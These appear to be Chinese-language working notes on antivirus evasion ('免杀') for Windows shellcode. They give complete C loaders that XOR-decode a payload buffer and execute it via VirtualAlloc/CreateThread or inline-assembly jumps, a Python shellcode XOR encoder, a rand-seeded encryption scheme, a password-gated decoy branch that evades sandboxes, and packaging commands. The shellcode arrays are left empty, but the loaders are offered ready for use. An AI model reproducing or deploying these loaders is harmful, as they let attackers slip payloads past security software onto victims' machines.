C语言随机数异或加密免杀

a="hello"
print(a)

#pyinstaller -F -w b.py -n HipsMain.exe

pip uninstall nuitka
pip install nuitka==
pip install nuitka==1.8.5
这里最新的1.8.5支持python3.11，因此将python环境切换到3.11
python -m nuitka --lto=no --onefile --standalone a.py
python -m nuitka  --onefile --standalone a.py

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
int main()
{
    //方式一：指针执行
    //((void(*)(void)) & buf)();

    //方式二：强制类型转换
    //((void(WINAPI*)(void))&buf)();

    //方式三：申请动态内存加载
    //char* Memory;
    //Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //memcpy(Memory, buf, sizeof(buf));
    //((void(*)())Memory)();

    //方式四：嵌入汇编加载
    unsignedchar buf[] = "";
    void* p;
    VirtualProtect(buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&p);
    _asm {
    lea eax,buf
    push eax
    ret
    }
    system("pause");

    //方式五：汇编花指令
    //__asm{
    //mov eax, offset shellcode
    //_emit 0xFF
    //_emit 0xE0
    //}
}

def jiami(shellcode,num):
    shellcode.split('\\x')
    newcode=''
    for i in shellcode:
        base10 = ord(i) ^ num
        code_hex = hex(base10)
        code_hex = code_hex.replace('0x', '')
        if (len(code_hex) == 1):
            code_hex = '0' + code_hex
        newcode += '\\x' + code_hex
    print(newcode)

if __name__ == '__main__':
    shellcode=''
    num=int (input("num:"))
    jiami(shellcode,num)

#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    /* length: 800 bytes */

    unsignedchar buf[] = "加密后的字符串";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 4;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return0;
}

for (int i = 0; i < shellcode_size; i++) {
        Sleep(50);
        // buf[i] ^= 10;
        _InterlockedXor8(buf + i, 10);
    }
	char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE      // 只申请可写
    );
    //将 shellcode 复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>

int main() {
    unsignedchar buf[] = "";    
    int a = 88;
    int len = sizeof(buf) - 1;
    unsignedchar jiami[900];
    int b = 0;
    srand(a);
    for (int i = 0; i < len; i++) {
        b = rand() % 9 + 1;//1-9
        jiami[i] = b ^ buf[i];
        printf("\\x%x", jiami[i]);
    }
    system("pause");
    return0;
}

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>
void jisuan(int i) {
    for (int j = 0; j < i; j++)
        printf("%d\n", j);
}
int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        char k[] = "998";
        if (strcmp(argv[1],k)==0) {
            int a = 88;
            unsignedchar jiemi[900] = { 0 };
            unsignedchar jiami[900] = "";
            int len = sizeof(jiami) - 1;
            int b;
            srand(a);
            for (int i = 0; i < len; i++)
            {
                b = rand() % 9 + 1;//1-9
                jiemi[i] = jiami[i] ^ b;
            }
            void* p;
            VirtualProtect(jiemi, sizeof(jiemi), PAGE_EXECUTE_READWRITE, &p);
            _asm {
                lea eax, jiemi
                push eax
                ret
            }
            system("pause");
        }
        else {
            jisuan(88);
        }
    }
    else
    {
        jisuan(100);
    }
    return 0;
}

taskkill /im {映像名称} /f
taskkill /pid {pid} /F

int add(int num1, int num2)
{
    return num1 + num2;
}

gcc c_dll.c -shared -o c_dll.so

from ctypes import *

if __name__ == '__main__':
    getso=cdll.LoadLibrary("./c_dll.so")
    print(getso.add(1,2))

import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))